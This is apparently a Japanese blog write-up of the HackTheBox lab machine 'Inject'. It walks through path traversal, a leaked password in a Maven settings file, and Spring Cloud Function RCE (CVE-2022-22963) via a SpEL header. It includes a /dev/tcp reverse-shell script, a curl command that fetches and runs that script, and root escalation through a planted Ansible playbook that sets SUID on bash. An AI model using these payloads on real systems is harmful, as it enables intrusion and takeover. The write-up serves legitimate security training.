今回は、HackTheBoxのEasyマシン「Inject」のWriteUpです!
名前からしてインジェクション系のマシンなのかなと思いますが、どうなのでしょうか。
グラフは若干Mediumよりでしょうか。。
Easyでも気を抜かずに攻略目指して頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう〜。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Inject
侵入
では、攻略を開始します。
まずは、ポートスキャンから始めましょう。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.204 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open nagios-nsca syn-ack ttl 63 Nagios NSCA
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Home
22番と8080番を確認しました。
では、8080番がオープンしていたので、Webにアクセスしていきます。
どうやら、ファイルやフォルダをアップロードすることのできるサイトのようです。
ログインボタンがあるので、クリックしてみましたが遷移しません。
では、新規登録に移りましょう。Sing Upのボタンを押下します。
遷移しましたが、新規登録はできないようです。
他にできることを探しましょう。
よくよく見てみると、トップページのヘッダーの右側に青文字で「Upload」と書かれています。
クリックしてみましょう。
よく見るアップロード画面が表示されています。
適当にアップロードしてみます。
テキストファイルをアップロードしようとすると、画像ファイルのみしかアップロードできないというメッセージが表示されました。
とりあえず画像ファイルをアップロードしてみます。
PNGファイルをアップロードすることができました。
下の「View your images」でファイルを確認することができそうなので、クリックしてみます。
今回小さい画像をアップロードしたのでわかりにくいですが、ファイルへアクセスできたことがわかります。
よくよくURLをみてみると、img
というパラメータでファイルを指定していることがわかります。
パストラバーサル
ファイルを指定している系は、パストラバーサルの脆弱性がよくみられるので、../
を追加して、passwdファイルを読み込むことができないか試してみます。
根気よく../
を追加したところ、ファイルを読み込むことができました!
さらに、frank
とphil
というユーザを確認できました。
まずは、パストラバーサルを使用し、それぞれのホームディレクトリを列挙していきます。
philユーザのホームディレクトリにはフラグがあるだけで、他には特に情報がありませんでしたが、frankユーザのホームディレクトリを見てみると、settings.xml
というファイルを発見しました。
内容を見てみます。
philユーザのパスワードを発見しました!
この認証情報を使用し、SSH接続できるか試してみます。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ ssh [email protected]
[email protected] password:
Permission denied, please try again.
どうやら、SSH接続には使用できないようですが、どこかで使えるかもしれないのでメモしておきましょう。
CVE-2022-22963
それでは、気を取り直して列挙を再開します。
次に確認するのは、Webで使用されているファイルを確認することです。
var/www直下を見てみると、html
とWebApp
の存在を確認できました。
htmlには、ファイルが何もなさそうなので、WebAppを確認してみます。
色々なファイルを発見しました。一番気になるのはpom.xml
ファイルなので、内容を見てみましょう。
Springなどのバージョン情報が確認できました!
バージョンが見えたら、脆弱性がないかを調べるというのは攻略する上で重要なことです。
上から順番にGoogleで調べていくと、spring-cloud-function-web
のバージョン3.2.2
で気になる脆弱性を発見しました。
記事によると、ルーティング機能を使用する際に、SpELをルーティング式として提供することにより、RCEが発火するようです。
GitHubにPoCが公開されています。
では、PoCを参考に、RCEが発火するか試してみましょう。PoCでは、tmpディレクトリにpwned
というファイルを作成しています。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 09 Jul 2023 15:51:54 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-09T15:51:54.787+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
実行すると、500番が返ってきますが、作成に成功しているか確認してみましょう。
ファイルの作成を確認できました!
これでRCEが発火したことがわかるので、シェルを取得しにいきましょう!
まずは、シェルを張るために、マシン側で実行させたいスクリプトを用意します。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ cat rce.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/5555 0>&1
スクリプトの準備ができたので、マシン側にダウンロードさせます。
ダウンロードさせるために、Kali側で待ち受けておきます。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
待ち受けが完了したので、RCEでcurlを実行し、作成したファイルをマシン側へダウンロードさせます。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.5/rce.sh -o /tmp/rce")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.5/rce.sh -o /tmp/rce")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 09 Jul 2023 15:59:34 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-09T15:59:34.632+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
先ほどと同じように、500番が返ってきますが、おそらく成功していると思います。
念の為、確認しておきましょう。
rceが正常にダウンロードできていることが確認できました!
frankとしてのシェル
それでは、rceを実行し、シェルを取得しましょう!
Kaliでいつものように待ち受けておきます。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
待ち受けが完了したので、bashでrceを実行します!
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rce")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rce")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 09 Jul 2023 16:04:52 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-09T16:04:52.227+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
実行権限は特に付与していません。シェルを返ってきたか確認します。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.204] 45774
bash: cannot set terminal process group (822): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ whoami
frank
侵入に成功しました!
横移動
frankユーザではフラグを取得できないので、横移動が必要です。
passwdファイルで確認しましたが、frankユーザの他に、philユーザが存在しています。
frank@inject:/home$ ls -l
total 8
drwxr-xr-x 5 frank frank 4096 Feb 1 18:38 frank
drwxr-xr-x 3 phil phil 4096 Feb 1 18:38 phil
とりあえず、frankユーザのホーム直下を確認してみます。
frank@inject:~$ ls -la
ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb 1 18:38 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
そういえば、.m2
ディレクトリがありました!
その中の、settings.xmlを再度確認してみます。
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
パスワードが書かれています。SSH接続には使用できませんでしたが、suコマンドで使用することができるかもしれません。試してみましょう。
philとしてのシェル
それでは、suで横移動ができるか試してみましょう。
frank@inject:~/.m2$ su phil
Password: DocPhillovestoInject123
phil@inject:/home/frank/.m2$ whoami
phil
suで認証情報を使用することができました!
phil@inject:~$ ls -l
ls -l
total 4
-rw-r----- 1 root phil 33 Jul 9 14:45 user.txt
ユーザフラグも確認できました!
権限昇格
それでは、root目指して権限昇格を行なっていきましょう!
まずは、sudo -lを実行します。
phil@inject:~$ sudo -l
[sudo] password for phil: DocPhillovestoInject123
Sorry, user phil may not run sudo on localhost.
どうやら、philはsudoを実行することができないようです。
ホームディレクトリにも特に情報がなさそうなので、pspy64を実行し、定期的に実行しているスクリプトがないかを確認します。
phil@inject:~$ ./pspy64
2023/03/16 16:28:01 CMD: UID=0 PID=3424 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2023/03/16 16:28:01 CMD: UID=0 PID=3430 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
ansible-parallelとansible-playbookがルート権限で定期的に実行されていることがわかります。また、その引数としてtasksディレクト内に存在するymlファイルが指定されています。
ansible-playbookとは、自動化タスクのブループリントであり、人手をほとんど、あるいはまったく介さずに複雑な IT 処理を実行するようです。
どうにかしてコマンドが実行できないかansible-playbook コマンド実行
でGoogle検索してみると、下記の記事を発見しました。
ymlファイルの中のshellモジュールにより、コマンドを実行させることができるようです。
今回のマシンでは、/opt/automation/tasks直下にあるymlファイルが対象となるようなので、tasksディレクトリに書き込み権限があれば、任意のコマンドを実行させることができます。
権限を確認しましょう。
phil@inject:/opt/automation$ ls -l
total 4
drwxrwxr-x 2 root staff 4096 Jul 9 16:40 tasks
rootユーザとstaffグループに対して、書き込み権限があるようです。
philユーザのグループを確認してみましょう。
phil@inject:/opt/automation$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
staffグループに所属しています!
書き込み権限があることがわかったので、権限昇格に移りましょう!
rootとしてのシェル
ではまずは、ymlファイルを用意します。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ cat exploit.yml
- hosts: localhost
tasks:
- name: rce
shell: chmod u+s /bin/bash
今回は、/bin/bashにSUIDを付与したいと思います。
ymlファイルが用意できたので、マシン側にダウンロードさせます。
まずは、Kali側でサーバを立てます。
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
サーバをたてることができたので、マシン側でwgetを実行し、ymlファイルをダウンロードさせます。
phil@inject:/opt/automation/tasks$ wget 10.10.14.5/exploit.yml
--2023-07-09 16:53:11-- http://10.10.14.5/exploit.yml
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 77 [application/octet-stream]
Saving to: ‘exploit.yml’
exploit.yml 100%[===================>] 77 --.-KB/s in 0s
2023-07-09 16:53:11 (4.28 MB/s) - ‘exploit.yml’ saved [77/77]
これで、準備完了です!
あとは少し待って、bashファイルにSUIDが付与されるか確認しましょう!
phil@inject:/opt/automation/tasks$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
SUIDが付与されました!rootユーザへ昇格しましょう!
phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami
root
権限昇格成功です!!!
bash-5.0# ls -l /root
total 8
-rw-r--r-- 1 root root 150 Oct 20 2022 playbook_1.yml
-rw-r----- 1 root root 33 Jul 9 14:45 root.txt
rootフラグも確認でき、完全攻略達成です!!!
お疲れ様でした!
攻略を終えて
今回のマシンは比較的簡単だったかなという印象です。まず、imgパラメータによるパストラバーサルがわかりやすいこともあり、少ない列挙で足場を確立できました。特にログイン画面や新規登録画面などのノイズになりそうな画面が遷移できなかったりしたので、マシンの作成者の優しさを感じました。
横移動もパスワードがそのまま書いてあったり、気になるディレクトリが一つしかなかったりと優しめでした。権限昇格に関しては若干Ansible-Playbookに関しての知識が必要で、全く知らない人にとっては少し難しいかもしれませんが、Googleで調べると割とすぐにヒットするので、いい難易度感なのではないでしょうか。
総じて、HTB初心者におすすめしたいマシンだなと感じました!
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!
原文始发于@Perplex:HackTheBox Inject WriteUp